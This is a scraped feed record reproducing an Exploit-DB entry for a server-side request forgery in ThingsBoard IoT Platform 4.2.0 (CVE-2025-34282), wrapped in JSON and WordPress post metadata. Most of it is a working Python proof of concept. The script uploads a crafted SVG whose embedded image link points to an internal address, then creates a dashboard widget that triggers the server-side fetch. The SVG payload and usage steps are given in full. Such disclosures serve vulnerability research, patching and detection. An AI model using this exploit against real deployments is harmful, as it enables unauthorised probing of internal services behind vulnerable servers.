{“lastseen”:”2026-05-07T15:27:58″,”description”:”Exploit Title: ThingsBoard IoT Platform 4.2.0 – Server-Side Request Forgery SSRF Date: 2026-03-25 Exploit Author: Tamil Mathi T. Vendor Homepage: https:\/\/thingsboard.io Software Link: https:\/\/github.com\/thingsboard\/thingsboard Version: . When…”,”published”:”2026-05-07T00:00:00″,”modified”:”2026-05-07T00:00:00″,”type”:”exploitdb”,”title”:”ThingsBoard IoT Platform 4.2.0 – Server-Side Request Forgery (SSRF)”,”source”:””,”references”:””,”id”:”EDB-ID:52551″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-34282″],”sourceData”:”# Exploit Title: ThingsBoard IoT Platform 4.2.0 – Server-Side Request Forgery (SSRF) \\r\\n# Date: 2026-03-25\\r\\n# Exploit Author: Tamil Mathi T.\\r\\n# Vendor Homepage: https:\/\/thingsboard.io\\r\\n# Software Link: https:\/\/github.com\/thingsboard\/thingsboard\\r\\n# Version: \\u003c 4.2.1\\r\\n# Tested On: ThingsBoard 4.2.0\\r\\n# CVE: CVE-2025-34282\\r\\n# References: https:\/\/www.cve.org\/CVERecord?id=CVE-2025-34282\\r\\n# https:\/\/github.com\/mathitam\/thingsboard-ssrf-cve-2025-34282\\r\\n#\\r\\n# Description:\\r\\n# ThingsBoard versions before 4.2.1 are vulnerable to SSRF via the Image\\r\\n# Upload Gallery feature. An attacker can upload a crafted SVG file containing\\r\\n# a remote URL reference (e.g. via \\u003cimage xlink:href=\\”http:\/\/127.0.0.1:5555\\”\\u003e).\\r\\n# When ThingsBoard processes the uploaded SVG server-side, it fetches the\\r\\n# referenced URL, allowing the attacker to reach internal services not\\r\\n# exposed to the internet.\\r\\n#\\r\\n# Requires a Tenant Admin bearer token. Tenant Admin is a role below System\\r\\n# Admin in ThingsBoard’s hierarchy and has access to the Widget Library and\\r\\n# Image Upload Gallery APIs used in this exploit.\\r\\n#\\r\\n# Attack chain:\\r\\n# 1. Upload a malicious SVG to POST \/api\/image\\r\\n# -\\u003e Server processes the SVG and issues a request to the internal URL\\r\\n# 2. Create a custom widget embedding the SVG’s publicLink via \\u003cobject\\u003e tag\\r\\n# -\\u003e Widget render also triggers the server-side fetch\\r\\n#\\r\\n# SVG payload used (ssrf_localhost_5555_svg.svg):\\r\\n# \\u003c?xml version=\\”1.0\\” standalone=\\”no\\”?\\u003e\\r\\n# \\u003csvg version=\\”1.1\\” baseProfile=\\”full\\” xmlns=\\”http:\/\/www.w3.org\/2000\/svg\\”\\r\\n# xmlns:xlink=\\”http:\/\/www.w3.org\/1999\/xlink\\”\\r\\n# xmlns:ev=\\”http:\/\/www.w3.org\/2001\/xml-events\\”\\u003e\\r\\n# \\u003cdefs\\u003e\\r\\n# \\u003cpattern id=\\”img1\\” patternUnits=\\”userSpaceOnUse\\” width=\\”600\\” height=\\”450\\”\\u003e\\r\\n# \\u003cimage xlink:href=\\”http:\/\/127.0.0.1:5555\\” x=\\”0\\” y=\\”0\\” width=\\”600\\” height=\\”450\\” \/\\u003e\\r\\n# \\u003c\/pattern\\u003e\\r\\n# \\u003c\/defs\\u003e\\r\\n# \\u003cpath d=\\”M5,50 l0,100 l100,0 l0,-100 l-100,0 …\\” fill=\\”url(#img1)\\” \/\\u003e\\r\\n# \\u003c\/svg\\u003e\\r\\n#\\r\\n# Usage:\\r\\n# pip install requests\\r\\n# python thingsboard_ssrf.py \\u003csvg_file\\u003e \\u003cbearer_token\\u003e\\r\\n#\\r\\n# Example:\\r\\n# python thingsboard_ssrf.py ssrf_localhost_5555_svg.svg eyJhbGci…\\r\\n\\r\\nimport requests\\r\\nimport json\\r\\nimport os\\r\\nimport sys\\r\\nimport argparse\\r\\nimport time\\r\\n\\r\\nDEFAULT_URL_UPLOAD = \\”http:\/\/localhost:8080\/api\/image\\”\\r\\nDEFAULT_URL_WIDGET = \\”http:\/\/localhost:8080\/api\/widgetType\\”\\r\\nDEFAULT_REFERER = \\”http:\/\/localhost:8080\/resources\/images\\”\\r\\nDEFAULT_ORIGIN = \\”http:\/\/localhost:8080\\”\\r\\n\\r\\ndef upload_image(filepath, token):\\r\\n if not os.path.isfile(filepath):\\r\\n raise SystemExit(f\\”File not found: {filepath}\\”)\\r\\n\\r\\n filename = os.path.basename(filepath)\\r\\n\\r\\n mime_types = {\\r\\n ‘.svg’: ‘image\/svg+xml’,\\r\\n ‘.jpg’: ‘image\/jpeg’,\\r\\n ‘.jpeg’: ‘image\/jpeg’,\\r\\n ‘.png’: ‘image\/png’,\\r\\n ‘.gif’: ‘image\/gif’\\r\\n }\\r\\n ext = os.path.splitext(filename)[1].lower()\\r\\n mime_type = mime_types.get(ext, ‘application\/octet-stream’)\\r\\n\\r\\n headers = {\\r\\n \\”X-Authorization\\”: f\\”Bearer {token}\\”,\\r\\n \\”User-Agent\\”: \\”python-requests\/2.x\\”,\\r\\n \\”Referer\\”: DEFAULT_REFERER,\\r\\n \\”Origin\\”: DEFAULT_ORIGIN,\\r\\n }\\r\\n\\r\\n with open(filepath, \\”rb\\”) as f:\\r\\n files = {\\r\\n \\”file\\”: (filename, f, mime_type)\\r\\n }\\r\\n resp = requests.post(DEFAULT_URL_UPLOAD, headers=headers, files=files, timeout=30, allow_redirects=False)\\r\\n\\r\\n return resp\\r\\n\\r\\ndef create_widget(public_link, token):\\r\\n headers = {\\r\\n \\”X-Authorization\\”: f\\”Bearer {token}\\”,\\r\\n \\”Content-Type\\”: \\”application\/json\\”,\\r\\n \\”Accept\\”: \\”application\/json, text\/plain, *\/*\\”,\\r\\n \\”Origin\\”: DEFAULT_ORIGIN,\\r\\n \\”User-Agent\\”: \\”python-requests\\”\\r\\n }\\r\\n\\r\\n template_html = f\\”\\”\\”\\r\\n \\u003ctb-value-card-widget\\r\\n [ctx]=\\”ctx\\”\\r\\n [widgetTitlePanel]=\\”widgetTitlePanel\\”\\u003e\\r\\n \\u003c\/tb-value-card-widget\\u003e\\r\\n \\u003cobject data=\\”{public_link}\\” type=\\”image\/svg+xml\\”\\u003e\\u003c\/object\\u003e\\r\\n \\”\\”\\”\\r\\n\\r\\n payload = {\\r\\n \\”fqn\\”: \\”SSRF_testing_Poc\\”,\\r\\n \\”name\\”: \\”SSRF_testing_Poc\\”,\\r\\n \\”deprecated\\”: False,\\r\\n \\”image\\”: \\”tb-image;\/api\/images\/system\/air_quality_index_card_system_widget_image.png\\”,\\r\\n \\”description\\”: \\”Displays the latest air quality index telemetry in a scalable rectangle card.\\”,\\r\\n \\”descriptor\\”: {\\r\\n \\”type\\”: \\”latest\\”,\\r\\n \\”sizeX\\”: 3,\\r\\n \\”sizeY\\”: 3,\\r\\n \\”resources\\”: [],\\r\\n \\”templateHtml\\”: template_html,\\r\\n \\”templateCss\\”: \\”\\”,\\r\\n \\”controllerScript\\”: \\”self.onInit = function() {\\\\n self.ctx.$scope.valueCardWidget.onInit();\\\\n};\\\\n\\\\nself.onDataUpdated = function() {\\\\n self.ctx.$scope.valueCardWidget.onDataUpdated();\\\\n};\\\\n\\\\nself.typeParameters = function() {\\\\n return {\\\\n maxDatasources: 1,\\\\n maxDataKeys: 1,\\\\n singleEntity: true,\\\\n previewWidth: ‘250px’,\\\\n previewHeight: ‘250px’,\\\\n embedTitlePanel: true,\\\\n supportsUnitConversion: true,\\\\n defaultDataKeysFunction: function() {\\\\n return [{ name: ‘air’, label: ‘Air Quality Index’, type: ‘timeseries’ }];\\\\n }\\\\n };\\\\n};\\\\n\\\\nself.onDestroy = function() {\\\\n};\\\\n\\”,\\r\\n \\”dataKeySettingsForm\\”: [],\\r\\n \\”settingsDirective\\”: \\”tb-value-card-widget-settings\\”,\\r\\n \\”hasBasicMode\\”: True,\\r\\n \\”basicModeDirective\\”: \\”tb-value-card-basic-config\\”,\\r\\n \\”defaultConfig\\”: \\”{\\\\\\”datasources\\\\\\”:[{\\\\\\”type\\\\\\”:\\\\\\”function\\\\\\”,\\\\\\”name\\\\\\”:\\\\\\”function\\\\\\”,\\\\\\”dataKeys\\\\\\”:[{\\\\\\”name\\\\\\”:\\\\\\”f(x)\\\\\\”,\\\\\\”type\\\\\\”:\\\\\\”function\\\\\\”,\\\\\\”label\\\\\\”:\\\\\\”Air Quality Index\\\\\\”,\\\\\\”color\\\\\\”:\\\\\\”#2196f3\\\\\\”,\\\\\\”settings\\\\\\”:{},\\\\\\”_hash\\\\\\”:0.2392660816082064,\\\\\\”funcBody\\\\\\”:\\\\\\”var value = prevValue + Math.random() * 100 – 50;\\\\\\\\nif (value \\u003c 0) {\\\\\\\\n\\\\\\\\tvalue = 0;\\\\\\\\n} else if (value \\u003e 320) {\\\\\\\\n\\\\\\\\tvalue = 320;\\\\\\\\n}\\\\\\\\nreturn value;\\\\\\”,\\\\\\”aggregationType\\\\\\”:null,\\\\\\”units\\\\\\”:null,\\\\\\”decimals\\\\\\”:null,\\\\\\”usePostProcessing\\\\\\”:null,\\\\\\”postFuncBody\\\\\\”:null}],\\\\\\”alarmFilterConfig\\\\\\”:{\\\\\\”statusList\\\\\\”:[\\\\\\”ACTIVE\\\\\\”]}}],\\\\\\”timewindow\\\\\\”:{\\\\\\”realtime\\\\\\”:{\\\\\\”timewindowMs\\\\\\”:60000}},\\\\\\”showTitle\\\\\\”:false,\\\\\\”backgroundColor\\\\\\”:\\\\\\”rgba(0, 0, 0, 0)\\\\\\”,\\\\\\”color\\\\\\”:\\\\\\”rgba(0, 0, 0, 0.87)\\\\\\”,\\\\\\”padding\\\\\\”:\\\\\\”0px\\\\\\”,\\\\\\”settings\\\\\\”:{\\\\\\”labelPosition\\\\\\”:\\\\\\”top\\\\\\”,\\\\\\”layout\\\\\\”:\\\\\\”square\\\\\\”,\\\\\\”showLabel\\\\\\”:true,\\\\\\”labelFont\\\\\\”:{\\\\\\”size\\\\\\”:14,\\\\\\”sizeUnit\\\\\\”:\\\\\\”px\\\\\\”,\\\\\\”family\\\\\\”:\\\\\\”Roboto\\\\\\”,\\\\\\”weight\\\\\\”:\\\\\\”500\\\\\\”,\\\\\\”style\\\\\\”:\\\\\\”normal\\\\\\”},\\\\\\”labelColor\\\\\\”:{\\\\\\”type\\\\\\”:\\\\\\”constant\\\\\\”,\\\\\\”color\\\\\\”:\\\\\\”rgba(0, 0, 0, 0.87)\\\\\\”,\\\\\\”colorFunction\\\\\\”:\\\\\\”var temperature = value;\\\\\\\\nif (typeof temperature !== undefined) {\\\\\\\\n var percent = (temperature + 60)\/120 * 100;\\\\\\\\n return tinycolor.mix(‘blue’, ‘red’, percent).toHexString();\\\\\\\\n}\\\\\\\\nreturn ‘blue’;\\\\\\”},\\\\\\”showIcon\\\\\\”:true,\\\\\\”iconSize\\\\\\”:40,\\\\\\”iconSizeUnit\\\\\\”:\\\\\\”px\\\\\\”,\\\\\\”icon\\\\\\”:\\\\\\”mdi:weather-windy\\\\\\”,\\\\\\”iconColor\\\\\\”:{\\\\\\”type\\\\\\”:\\\\\\”range\\\\\\”,\\\\\\”color\\\\\\”:\\\\\\”rgba(0, 0, 0, 0.87)\\\\\\”,\\\\\\”rangeList\\\\\\”:[{\\\\\\”from\\\\\\”:0,\\\\\\”to\\\\\\”:50,\\\\\\”color\\\\\\”:\\\\\\”#80C32C\\\\\\”},{\\\\\\”from\\\\\\”:50,\\\\\\”to\\\\\\”:100,\\\\\\”color\\\\\\”:\\\\\\”#FFA600\\\\\\”},{\\\\\\”from\\\\\\”:100,\\\\\\”to\\\\\\”:150,\\\\\\”color\\\\\\”:\\\\\\”#F36900\\\\\\”},{\\\\\\”from\\\\\\”:150,\\\\\\”to\\\\\\”:200,\\\\\\”color\\\\\\”:\\\\\\”#D81838\\\\\\”},{\\\\\\”from\\\\\\”:200,\\\\\\”to\\\\\\”:300,\\\\\\”color\\\\\\”:\\\\\\”#8D28C\\\\\\”},{\\\\\\”from\\\\\\”:300,\\\\\\”to\\\\\\”:null,\\\\\\”color\\\\\\”:\\\\\\”#6F113A\\\\\\”}],\\\\\\”colorFunction\\\\\\”:\\\\\\”var temperature = value;\\\\\\\\nif (typeof temperature !== undefined) {\\\\\\\\n var percent = (temperature + 60)\/120 * 100;\\\\\\\\n return tinycolor.mix(‘blue’, ‘red’, percent).toHexString();\\\\\\\\n}\\\\\\\\nreturn ‘blue’;\\\\\\”},\\\\\\”valueFont\\\\\\”:{\\\\\\”size\\\\\\”:26,\\\\\\”sizeUnit\\\\\\”:\\\\\\”px\\\\\\”,\\\\\\”family\\\\\\”:\\\\\\”Roboto\\\\\\”,\\\\\\”weight\\\\\\”:\\\\\\”500\\\\\\”,\\\\\\”style\\\\\\”:\\\\\\”normal\\\\\\”},\\\\\\”valueColor\\\\\\”:{\\\\\\”type\\\\\\”:\\\\\\”range\\\\\\”,\\\\\\”color\\\\\\”:\\\\\\”rgba(0, 0, 0, 0.87)\\\\\\”,\\\\\\”colorFunction\\\\\\”:\\\\\\”var temperature = value;\\\\\\\\nif (typeof temperature !== undefined) {\\\\\\\\n var percent = (temperature + 60)\/120 * 100;\\\\\\\\n return tinycolor.mix(‘blue’, ‘red’, percent).toHexString();\\\\\\\\n}\\\\\\\\nreturn ‘blue’;\\\\\\”,\\\\\\”rangeList\\\\\\”:[{\\\\\\”from\\\\\\”:0,\\\\\\”to\\\\\\”:50,\\\\\\”color\\\\\\”:\\\\\\”#80C32C\\\\\\”},{\\\\\\”from\\\\\\”:50,\\\\\\”to\\\\\\”:100,\\\\\\”color\\\\\\”:\\\\\\”#FFA600\\\\\\”},{\\\\\\”from\\\\\\”:100,\\\\\\”to\\\\\\”:150,\\\\\\”color\\\\\\”:\\\\\\”#F36900\\\\\\”},{\\\\\\”from\\\\\\”:150,\\\\\\”to\\\\\\”:200,\\\\\\”color\\\\\\”:\\\\\\”#D81838\\\\\\”},{\\\\\\”from\\\\\\”:200,\\\\\\”to\\\\\\”:300,\\\\\\”color\\\\\\”:\\\\\\”#8D28C\\\\\\”},{\\\\\\”from\\\\\\”:300,\\\\\\”to\\\\\\”:null,\\\\\\”color\\\\\\”:\\\\\\”#6F113A\\\\\\”}]},\\\\\\”showDate\\\\\\”:true,\\\\\\”dateFormat\\\\\\”:{\\\\\\”format\\\\\\”:null,\\\\\\”lastUpdateAgo\\\\\\”:true,\\\\\\”custom\\\\\\”:false},\\\\\\”dateFont\\\\\\”:{\\\\\\”family\\\\\\”:\\\\\\”Roboto\\\\\\”,\\\\\\”size\\\\\\”:12,\\\\\\”sizeUnit\\\\\\”:\\\\\\”px\\\\\\”,\\\\\\”style\\\\\\”:\\\\\\”normal\\\\\\”,\\\\\\”weight\\\\\\”:\\\\\\”500\\\\\\”},\\\\\\”dateColor\\\\\\”:{\\\\\\”type\\\\\\”:\\\\\\”constant\\\\\\”,\\\\\\”color\\\\\\”:\\\\\\”rgba(0, 0, 0, 0.38)\\\\\\”,\\\\\\”colorFunction\\\\\\”:\\\\\\”var temperature = value;\\\\\\\\nif (typeof temperature !== undefined) {\\\\\\\\n var percent = (temperature + 60)\/120 * 100;\\\\\\\\n return tinycolor.mix(‘blue’, ‘red’, percent).toHexString();\\\\\\\\n}\\\\\\\\nreturn ‘blue’;\\\\\\”},\\\\\\”background\\\\\\”:{\\\\\\”type\\\\\\”:\\\\\\”color\\\\\\”,\\\\\\”color\\\\\\”:\\\\\\”#fff\\\\\\”,\\\\\\”overlay\\\\\\”:{\\\\\\”enabled\\\\\\”:false,\\\\\\”color\\\\\\”:\\\\\\”rgba(255,255,255,0.72)\\\\\\”,\\\\\\”blur\\\\\\”:3}},\\\\\\”autoScale\\\\\\”:true},\\\\\\”title\\\\\\”:\\\\\\”Air quality card\\\\\\”,\\\\\\”dropShadow\\\\\\”:true,\\\\\\”enableFullscreen\\\\\\”:false,\\\\\\”titleStyle\\\\\\”:{\\\\\\”fontSize\\\\\\”:\\\\\\”16px\\\\\\”,\\\\\\”fontWeight\\\\\\”:400},\\\\\\”units\\\\\\”:\\\\\\”AQI\\\\\\”,\\\\\\”decimals\\\\\\”:1,\\\\\\”useDashboardTimewindow\\\\\\”:true,\\\\\\”showLegend\\\\\\”:false,\\\\\\”widgetStyle\\\\\\”:{},\\\\\\”actions\\\\\\”:{},\\\\\\”configMode\\\\\\”:\\\\\\”basic\\\\\\”,\\\\\\”displayTimewindow\\\\\\”:true,\\\\\\”margin\\\\\\”:\\\\\\”0px\\\\\\”,\\\\\\”borderRadius\\\\\\”:\\\\\\”0px\\\\\\”,\\\\\\”widgetCss\\\\\\”:\\\\\\”\\\\\\”,\\\\\\”pageSize\\\\\\”:1024,\\\\\\”noDataDisplayMessage\\\\\\”:\\\\\\”\\\\\\”,\\\\\\”showTitleIcon\\\\\\”:false,\\\\\\”titleTooltip\\\\\\”:\\\\\\”\\\\\\”,\\\\\\”titleFont\\\\\\”:{\\\\\\”size\\\\\\”:12,\\\\\\”sizeUnit\\\\\\”:\\\\\\”px\\\\\\”,\\\\\\”family\\\\\\”:null,\\\\\\”weight\\\\\\”:null,\\\\\\”style\\\\\\”:null,\\\\\\”lineHeight\\\\\\”:\\\\\\”1.6\\\\\\”},\\\\\\”titleIcon\\\\\\”:\\\\\\”\\\\\\”,\\\\\\”iconColor\\\\\\”:\\\\\\”rgba(0, 0, 0, 0.87)\\\\\\”,\\\\\\”iconSize\\\\\\”:\\\\\\”14px\\\\\\”,\\\\\\”timewindowStyle\\\\\\”:{\\\\\\”showIcon\\\\\\”:true,\\\\\\”iconSize\\\\\\”:\\\\\\”14px\\\\\\”,\\\\\\”icon\\\\\\”:\\\\\\”query_builder\\\\\\”,\\\\\\”iconPosition\\\\\\”:\\\\\\”left\\\\\\”,\\\\\\”font\\\\\\”:{\\\\\\”size\\\\\\”:12,\\\\\\”sizeUnit\\\\\\”:\\\\\\”px\\\\\\”,\\\\\\”family\\\\\\”:null,\\\\\\”weight\\\\\\”:null,\\\\\\”style\\\\\\”:null,\\\\\\”lineHeight\\\\\\”:\\\\\\”1\\\\\\”},\\\\\\”color\\\\\\”:null}}\\”\\r\\n },\\r\\n \\”resources\\”: None,\\r\\n \\”scada\\”: False,\\r\\n \\”tags\\”: [\\”weather\\”, \\”environment\\”, \\”air\\”, \\”aqi\\”, \\”pollution\\”, \\”emission\\”, \\”smog\\”]\\r\\n }\\r\\n\\r\\n try:\\r\\n resp = requests.post(DEFAULT_URL_WIDGET, headers=headers, json=payload)\\r\\n return resp\\r\\n except Exception as e:\\r\\n print(f\\”Request failed: {e}\\”, file=sys.stderr)\\r\\n sys.exit(1)\\r\\n\\r\\ndef main(image_path, token):\\r\\n try:\\r\\n resp = upload_image(image_path, token)\\r\\n print(\\”Upload Status:\\”, resp.status_code)\\r\\n\\r\\n public_link = resp.json().get(\\”publicLink\\”) or (resp.json().get(\\”data\\”) and resp.json()[\\”data\\”].get(\\”publicLink\\”))\\r\\n if not public_link:\\r\\n print(resp.json())\\r\\n print(\\”Failed to retrieve public link from response.\\”)\\r\\n sys.exit(1)\\r\\n\\r\\n print(\\”Public Link:\\”, public_link)\\r\\n\\r\\n time.sleep(2)\\r\\n\\r\\n widget_resp = create_widget(public_link, token)\\r\\n print(\\”Widget Creation Status:\\”, widget_resp.status_code)\\r\\n print(\\”\\\\n[+] Widget created successfully.\\”)\\r\\n print(\\” Look for widget named ‘SSRF_testing_Poc’ in the Widget Library.\\”)\\r\\n print(\\” Add it to any dashboard to trigger the SSRF.\\”)\\r\\n\\r\\n except Exception as e:\\r\\n print(\\”Error:\\”, e, file=sys.stderr)\\r\\n sys.exit(1)\\r\\n\\r\\nif __name__ == \\”__main__\\”:\\r\\n parser = argparse.ArgumentParser(description=\\”ThingsBoard SSRF via SVG Upload PoC\\”)\\r\\n parser.add_argument(\\”image\\”, help=\\”Path to the SVG file to upload\\”)\\r\\n parser.add_argument(\\”token\\”, nargs=\\”?\\”, default=os.environ.get(\\”TB_TOKEN\\”), help=\\”Bearer token (or set TB_TOKEN env var)\\”)\\r\\n args = parser.parse_args()\\r\\n\\r\\n if not args.token:\\r\\n print(\\”Error: token not provided and TB_TOKEN not set.\\”, file=sys.stderr)\\r\\n parser.print_help()\\r\\n sys.exit(2)\\r\\n\\r\\n main(args.image, args.token)”,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52551″,”cvss”:{“score”:9.1,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52551″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-07T15:27:58″,”description”:”Exploit Title: ThingsBoard IoT Platform 4.2.0 – Server-Side Request Forgery SSRF Date: 2026-03-25 Exploit Author: Tamil Mathi T. Vendor Homepage: https:\/\/thingsboard.io Software Link: https:\/\/github.com\/thingsboard\/thingsboard Version:…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,10,12,40,13,7,11,5],"class_list":["post-52106","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-91","tag-exploit","tag-exploitdb","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n